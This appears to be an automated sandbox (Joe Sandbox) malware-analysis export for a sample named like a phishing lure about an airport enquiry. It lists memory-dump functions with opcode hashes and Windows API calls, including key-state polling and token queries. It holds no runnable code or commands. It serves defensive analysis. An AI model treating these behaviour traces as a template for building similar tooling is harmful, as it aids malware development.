Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 2074ec2ed4fbab0b59575ecbabe7b1fff286a59573e3030e85210ca768966e4f
Instruction ID: 70900c559c78c4e71cf4805e6b916f047adfe64633981dc44dfe83ca526b4d2b
Opcode Fuzzy Hash: 2074ec2ed4fbab0b59575ecbabe7b1fff286a59573e3030e85210ca768966e4f
Instruction Fuzzy Hash: F4514F35A00205DFCF15EF65C981AADBBF5FF08314B188099E849AB362CB31ED11DB54

Function 00D0A2C5 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ccb751ae154091b5ba76271d83d628f24fdc3187ac00269f1418b9c53535eae
Instruction ID: b30f3c49ef1e60c45b74683bcc5133b1ac1274922d95aaf7db00be4cbbf439e9
Opcode Fuzzy Hash: 6ccb751ae154091b5ba76271d83d628f24fdc3187ac00269f1418b9c53535eae
Instruction Fuzzy Hash: 89419039900314ABD720DFACCC48FA9BBA4EB09310F594265E95EE72E1D770ED41DA72

Function 00C82344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00C82357
ScreenToClient.USER32(00D467B0,?), ref: 00C82374
GetAsyncKeyState.USER32(00000001), ref: 00C82399
GetAsyncKeyState.USER32(00000002), ref: 00C823A7

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 9189bcd641a09085cff70d480de51e0393307899525352e491dddd6918cbe008
Instruction ID: 2d885c471523c7cda45561f0f8ea17b8ef61575a2fae8cf95a26751d7261a4d9
Opcode Fuzzy Hash: 9189bcd641a09085cff70d480de51e0393307899525352e491dddd6918cbe008
Instruction Fuzzy Hash: 16418275904215FBDF159F69C888AEDBB74FF05324F20431AF838922A0C735AE54DBA5

Function 00CD6920 Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00CD695D
TranslateAcceleratorW.USER32(?,?,?), ref: 00CD69A9
TranslateMessage.USER32(?), ref: 00CD69D2
DispatchMessageW.USER32(?), ref: 00CD69DC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00CD69EB

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: c5b452bc62abaa529f5bb35611628702212b74938b9a84f67fb26d045214c57a
Instruction ID: 02ae97eb9eedfbd3966d49913bd1d37bc5080c4ab599a8a150d18c91324243df
Opcode Fuzzy Hash: c5b452bc62abaa529f5bb35611628702212b74938b9a84f67fb26d045214c57a
Instruction Fuzzy Hash: 2D31E371900346ABDB20CF75CC84BBA7BA8AB03304F10416BE67AD37A1D775D989D7A1

Function 00CD8F01 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00CD8F12
PostMessageW.USER32(?,00000201,00000001), ref: 00CD8FBC
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00CD8FC4
PostMessageW.USER32(?,00000202,00000000), ref: 00CD8FD2
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00CD8FDA

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: c3f96cedfcb1990d6346ccf330c13e58ef36234205a738364e6ee73c93cff59c
Instruction ID: 8846dc7789e80d7ce61af5ae5dfc2ecbf6b60e261d7f1e46650011873f736f73
Opcode Fuzzy Hash: c3f96cedfcb1990d6346ccf330c13e58ef36234205a738364e6ee73c93cff59c
Instruction Fuzzy Hash: B831C271500219EFDF14CFA8DD4CBAE7BB6EB04315F10422AFA25E62D0C7B09A14DB91

Function 00CDB6AF Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00CDB6C7
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00CDB6E4
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00CDB71C
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00CDB742
_wcsstr.LIBCMT ref: 00CDB74C

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 4de2a3b998160ed68995ee357fb789a7e780c3aa0e7791c53fe5d6257ed70ecc
Instruction ID: 5b65027053346607bcfcff7129c8c9f00d08f0e9f8169d04de1e7c13020c2ffa
Opcode Fuzzy Hash: 4de2a3b998160ed68995ee357fb789a7e780c3aa0e7791c53fe5d6257ed70ecc
Instruction Fuzzy Hash: FE210731204205FBEB255B399C49E7B7B98DF4A760F12402AFD09CA3A1EB61CD419270

Function 00D0B405 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00C82612: GetWindowLongW.USER32(?,000000EB), ref: 00C82623

GetWindowLongW.USER32(?,000000F0), ref: 00D0B44C
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00D0B471
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00D0B489
GetSystemMetrics.USER32(00000004), ref: 00D0B4B2
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00CF1184,00000000), ref: 00D0B4D0

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: e22e707b8631a8560b80dfc6e56abdec9d26f281b9bb63177bf40238bf2420bd
Instruction ID: 78964444b85bb58bae4b6da2576b41c2a0ab51466a7c18dc389413a041c76e38
Opcode Fuzzy Hash: e22e707b8631a8560b80dfc6e56abdec9d26f281b9bb63177bf40238bf2420bd
Instruction Fuzzy Hash: 23218271914215AFCB209F38CC08B6937A4FB05738F254726F92AD36E1E730D910DB60

Function 00CD97E9 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00CD9802

Part of subcall function 00C87D2C: _memmove.LIBCMT ref: 00C87D66

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00CD9834
__itow.LIBCMT ref: 00CD984C
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00CD9874
__itow.LIBCMT ref: 00CD9885

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 4de1d3a090988673dabbc79628268a7707c644f1be0fef618670e9cf053b254f
Instruction ID: fcd4ca3139fed2db33472c97d81b80dc96e1beb95738c4ac14ac69778a8ab307
Opcode Fuzzy Hash: 4de1d3a090988673dabbc79628268a7707c644f1be0fef618670e9cf053b254f
Instruction Fuzzy Hash: F021CB35B00304AFDB10AB658C86EAE7BA9EF4AB14F14002AFA05D7391D671DD45E7A1

Function 00C812F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00C8134D
SelectObject.GDI32(?,00000000), ref: 00C8135C
BeginPath.GDI32(?), ref: 00C81373
SelectObject.GDI32(?,00000000), ref: 00C8139C

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 33307bb12aba419d22f2c2ed86c8f6506a0424461580e002fc9ee5f22a1c2274
Instruction ID: d11311a4f4cdbb1a9eeb06be839ec4cd42b29c00f03af12edad0e6c6f9f3b1c7
Opcode Fuzzy Hash: 33307bb12aba419d22f2c2ed86c8f6506a0424461580e002fc9ee5f22a1c2274
Instruction Fuzzy Hash: 97215174800308DBDB119F25DC047697BF8EB12326F184225F815D66F0D371D992DBA5

Function 00CDC161 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00CDC176
_memcmp.LIBCMT ref: 00CDC194
_memcmp.LIBCMT ref: 00CDC1A7
_memcmp.LIBCMT ref: 00CDC1BF
_memcmp.LIBCMT ref: 00CDC1D7

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 595d6fe48f69eb5e1db358cdd9a311bac1207c8613176ec7ad8e9850e617b6f6
Instruction ID: 719c8e3000fcea4e7186df3bcfbdd5d83c588fb0cf45025de33e21e061615d56
Opcode Fuzzy Hash: 595d6fe48f69eb5e1db358cdd9a311bac1207c8613176ec7ad8e9850e617b6f6
Instruction Fuzzy Hash: 330196716042277BD204A5215CC2EFF635DDF22398F084112FF14D6343EA61DE25D2E1

Function 00CE4D35 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00CE4D5C
__beginthreadex.LIBCMT ref: 00CE4D7A
MessageBoxW.USER32(?,?,?,?), ref: 00CE4D8F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00CE4DA5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00CE4DAC

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 54f175512d4fbda2778187d54c28fa64b0c0b43b3008b5b8deaae934cfd7376a
Instruction ID: ca9650b7de557a0437a8383bde1a489a6a866042f9715cfa83ee8968cd248b7d
Opcode Fuzzy Hash: 54f175512d4fbda2778187d54c28fa64b0c0b43b3008b5b8deaae934cfd7376a
Instruction Fuzzy Hash: B81144B6904348BFC7108FA9DC48A9A7FACEB46320F244269F928D3350C6B1CE0087B1

Function 00CD874A Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00CD8766
GetLastError.KERNEL32(?,00CD822A,?,?,?), ref: 00CD8770
GetProcessHeap.KERNEL32(00000008,?,?,00CD822A,?,?,?), ref: 00CD877F
HeapAlloc.KERNEL32(00000000,?,00CD822A,?,?,?), ref: 00CD8786
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00CD879D

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 5967624f1f9a219c898475708c9ea778eaf1cd3a46a8971ff23d8f1b281cdd08
Instruction ID: 1facd924a1107aebebe55e5a98de121e506245508cb4c6db0fd0951e4f92f915
Opcode Fuzzy Hash: 5967624f1f9a219c898475708c9ea778eaf1cd3a46a8971ff23d8f1b281cdd08
Instruction Fuzzy Hash: AE014B71600304EFDB204FA6DC88E6B7BACEF89355720042AF94DC2360DA329D04CA70

Function 00CE54E6 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00CE5502
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00CE5510
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00CE5518
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00CE5522
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00CE555E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: be9fbd03d6d3afcc3f2a839c98f018995bcf4f941e4be979fdf38d3cf18ba2f3
Instruction ID: 17be1a4a95fec1ced5a04cd42b477e2c53bb3415ff1d7b06ba1d57bc354102c4
Opcode Fuzzy Hash: be9fbd03d6d3afcc3f2a839c98f018995bcf4f941e4be979fdf38d3cf18ba2f3
Instruction Fuzzy Hash: 61015B32D01B19DBCF10DFEAE8886EDBB79BB09705F500056E805F2640DB309650C7A2

Function 00CD7652 Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CD758C,80070057,?,?,?,00CD799D), ref: 00CD766F
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CD758C,80070057,?,?), ref: 00CD768A
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CD758C,80070057,?,?), ref: 00CD7698
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CD758C,80070057,?), ref: 00CD76A8
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CD758C,80070057,?,?), ref: 00CD76B4

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: dbbad12e0d183b90cf57414535db8204832072010200fe6dc90a83096a20f76d
Instruction ID: 48fd74afd87dfb58febdf3a5543214073bb8722c88ec93a7be942b392b950610
Opcode Fuzzy Hash: dbbad12e0d183b90cf57414535db8204832072010200fe6dc90a83096a20f76d
Instruction Fuzzy Hash: DD0171B2601704ABDB209F58DC48BAE7BADEB44751F24412AFE08D2321F731DE4197B0

Function 00CD85F1 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00CD8608
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00CD8612
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00CD8621
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00CD8628
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00CD863E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 6734796ef6cba41409139b433617629c60a89e68ad5ff25e0d08d11070e2e369
Instruction ID: 54fe7b8b10b0981f3c3a6f4d76a43d44f568cb785d71d33fa4f2edb217dff839
Opcode Fuzzy Hash: 6734796ef6cba41409139b433617629c60a89e68ad5ff25e0d08d11070e2e369
Instruction Fuzzy Hash: BCF04F31205304AFEB200FA9DC89F6B3BACEF89764B10442AFA49C6250CB61DD46DA70

Function 00CD8652 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00CD8669
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8673
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8682
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8689
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CD869F

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 2c52accddcf5d963f71ab5281fa766aca90840e771b67ddc80915883851bbfa0
Instruction ID: f7ea40f3fdb6b5fc6e109e46e2b41bbef5edf6dbabbab953d806932778629d04
Opcode Fuzzy Hash: 2c52accddcf5d963f71ab5281fa766aca90840e771b67ddc80915883851bbfa0
Instruction Fuzzy Hash: 9AF04F71240304BFEB211FA5ECC9F673BACEF89764B20002AFA59C7250CA65D945DA70

Function 00CDC6A6 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00CDC6BA
GetWindowTextW.USER32(00000000,?,00000100), ref: 00CDC6D1
MessageBeep.USER32(00000000), ref: 00CDC6E9
KillTimer.USER32(?,0000040A), ref: 00CDC705
EndDialog.USER32(?,00000001), ref: 00CDC71F

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: e192460b0c8e7c48ace0fc9c9a4b5307c397bc18d8417beb7637f96494053036
Instruction ID: 83f0dfceaf24a11f14c2e8a3f3de6bedddcf69b7864ad2323fb99aa027ad8710
Opcode Fuzzy Hash: e192460b0c8e7c48ace0fc9c9a4b5307c397bc18d8417beb7637f96494053036
Instruction Fuzzy Hash: 72018F30400305ABEB315B20DC8EB9677B8FB00705F14066AB696E16E0DBE1A955CB90

